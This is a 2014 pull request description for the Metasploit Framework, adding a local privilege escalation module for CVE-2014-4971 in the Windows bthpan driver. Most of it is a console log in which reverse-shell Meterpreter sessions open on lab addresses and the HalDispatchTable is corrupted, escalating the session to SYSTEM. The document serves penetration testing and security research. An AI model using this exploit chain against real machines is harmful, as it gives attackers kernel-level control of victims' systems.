rapid7/metasploit-framework — pull request #3651 by KoreLogicSecurity (2014-08-15 01:42:07+00:00)
Title: Cve 2014 4971 bthpan exploit

Resubmitting after unwinding some repo breakage I caused - this is logically a continuation of closed PR #3563, including the style fixes from @todb-r7.

Up-to-date example in action, as requested by @todb:

msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.1:4445
msf exploit(handler) > [*] Starting the payload handler...
popm
msf exploit(bthpan) >
[*] Sending stage (769536 bytes) to 192.168.1.1
[*] Meterpreter session 1 opened (192.168.1.1:4445 -> 192.168.1.1:37139) at 2014-08-14 17:19:17 -0400

msf exploit(bthpan) > set SESSION 1
SESSION => 1
msf exploit(bthpan) > rexploit -j
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.1:4444
msf exploit(bthpan) > [*] Disclosing the HalDispatchTable address...
[+] Address successfully disclosed.
[*] Storing the shellcode in memory...
[+] Kernel stager successfully stored at 0x1
[*] Triggering the vulnerability, corrupting the HalDispatchTable...
[*] Executing the Kernel Stager throw NtQueryIntervalProfile()...
[*] Checking privileges after exploitation...
[+] Privilege escalation successful!
[*] Injecting 287 bytes to memory and executing it...
[*] Sending stage (769536 bytes) to 192.168.1.1
[*] Meterpreter session 2 opened (192.168.1.1:4444 -> 192.168.1.1:44076) at 2014-08-14 17:19:45 -0400

msf exploit(bthpan) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 WCB614-J20\kore @ WCB614-J20 192.168.1.1:4445 -> 192.168.1.1:37139 (10.0.2.15)
2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WCB614-J20 192.168.1.1:4444 -> 192.168.1.1:44076 (10.0.2.15)